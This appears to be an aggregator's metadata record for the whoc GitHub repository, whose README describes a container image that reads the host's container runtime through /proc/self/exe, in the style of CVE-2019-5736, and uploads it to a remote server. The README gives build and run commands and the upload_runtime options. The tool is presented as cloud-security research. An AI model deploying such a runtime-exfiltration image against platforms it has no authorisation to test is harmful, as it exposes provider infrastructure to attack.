{"id":13680725,"url":"https://github.com/twistlock/whoc","last_synced_at":"2026-01-12T10:13:30.860Z","repository":{"id":45864941,"uuid":"265322223","full_name":"twistlock/whoc","owner":"twistlock","description":"A container image that exfiltrates the underlying container runtime to a remote server","archived":false,"fork":false,"pushed_at":"2022-10-10T18:35:17.000Z","size":211,"stargazers_count":129,"open_issues_count":0,"forks_count":11,"subscribers_count":13,"default_branch":"master","last_synced_at":"2024-11-11T23:37:43.034Z","etag":null,"topics":["container-security","containers"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/twistlock.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-05-19T17:55:38.000Z","updated_at":"2024-11-05T04:01:35.000Z","dependencies_parsed_at":"2023-01-19T19:47:28.380Z","dependency_job_id":null,"html_url":"https://github.com/twistlock/whoc","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twistlock%2Fwhoc","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twistlock%2Fwhoc/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twistlock%2Fwhoc/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/twistlock%2Fwhoc/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/twistlock","download_url":"https://codeload.github.com/twistlock/whoc/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251607326,"owners_count":21616739,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["container-security","containers"],"created_at":"2024-08-02T13:01:21.113Z","updated_at":"2026-01-12T10:13:30.829Z","avatar_url":"https://github.com/twistlock.png","language":"C","funding_links":[],"categories":["1 Offensive","C"],"sub_categories":["1.9 Tools"],"readme":"# whoc\nA container image that extracts the underlying container runtime and sends it to a remote server.\nPoke at the underlying container runtime of your favorite CSP container platform!\n\n- [WhoC at Defcon 29 Cloud Village](https://www.youtube.com/watch?v=DF0qoCsHKT4)\n- [Azurescape](https://unit42.paloaltonetworks.com/azure-container-instances/) - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty)\n\n## How does it work?\nAs shown by runc [CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/), traditional Linux container runtimes expose themselves to the containers they're running through `/proc/self/exe`. `whoc` uses this link to read the container runtime executing it.\n\n### Dynamic Mode\nThis is `whoc` default mode that works against dynamically linked container runtimes.\n\n1. The `whoc` image entrypoint is set to `/proc/self/exe`, and the image's dynamic linker (`ld.so`) is replaced with `upload_runtime`.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (`upload_runtime`) to the runtime process and passes execution to it. \n4. `upload_runtime` reads the runtime binary through `/proc/self/exe` and sends it to the configured remote server.\n\n![alt text](https://github.com/twistlock/whoc/blob/master/images/whoc_dynamic.png?raw=true \"whoc dynamic mode\")\n\n\n### Wait-For-Exec Mode\nFor statically linked container runtimes, `whoc` comes in another flavor: `whoc:waitforexec`.\n\n1. `upload_runtime` is the image entrypoint, and runs as the `whoc` container PID 1.\n2. The user is expected to exec into the `whoc` container and invoke a file pointing to `/proc/self/exe` (e.g. `docker exec whoc_ctr /proc/self/exe`).\n3. Once the exec occurs, the container runtime re-executes itself inside the container.\n4. `upload_runtime` reads the runtime binary through `/proc/$runtime-pid/exe` and sends it to the configured remote server.\n\n![alt text](https://github.com/twistlock/whoc/blob/master/images/whoc_waitforexec.png?raw=true \"whoc wait-for-exec mode\")\n\n## Try Locally\nYou'll need `docker` and `python3` installed. Clone the repository:\n```shell\ngit clone git@github.com:twistlock/whoc.git \u0026\u0026 cd whoc\n```\n\nSet up a file server to receive the extracted container runtime:\n```shell\nmkdir -p stash \u0026\u0026 cd stash\nln -s ../util/fileserver.py fileserver \n./fileserver\n```\nFrom another shell, run the `whoc` image in your container environment of choice, for example Docker:\n```shell\ncd whoc\ndocker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\ndocker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.sh\n```\nSee that the file server received the container runtime. If you run `whoc` under vanilla Docker, the received container runtime should be [runc](https://github.com/opencontainers/runc). \n\n*`--net=host` is only used in local tests so that the `whoc` container could easily reach the fileserver on the host via `127.0.0.1`.*\n\n## Other Platforms\nBy default `whoc` is built for `linux/amd64`, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build `whoc` in dynamic mode for other CPU architectures, you must populate the `PLATFORM_LD_PATH_ARG` build argument with the path of the dynamic linker on the target architecture. \n\nAn example build script for `arm64` is available at `util/build_arm64.sh`.\n\n## Help\nHelp for `whoc`'s main binary, `upload_runtime`:\n```\nUsage: upload_runtime [options] \u003cserver_ip\u003e\n\nOptions:\n -p, --port                 Port of remote server, defaults to 8080\n -e, --exec                 Wait-for-exec mode for static container runtimes, waits until an exec to the container occurred\n -b, --exec-bin             In exec mode, overrides the default binary created for the exec, default is /bin/enter\n -a, --exec-extra-argument  In exec mode, pass an additional argument to the runtime so it won't exit quickly\n -r, --exec-readdir-proc    In exec mode, instead of guessing the runtime pid (which gives whoc one shot of catching the runtime),\n                            find the runtime by searching for new processes under '/proc'\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftwistlock%2Fwhoc","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftwistlock%2Fwhoc","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftwistlock%2Fwhoc/lists"}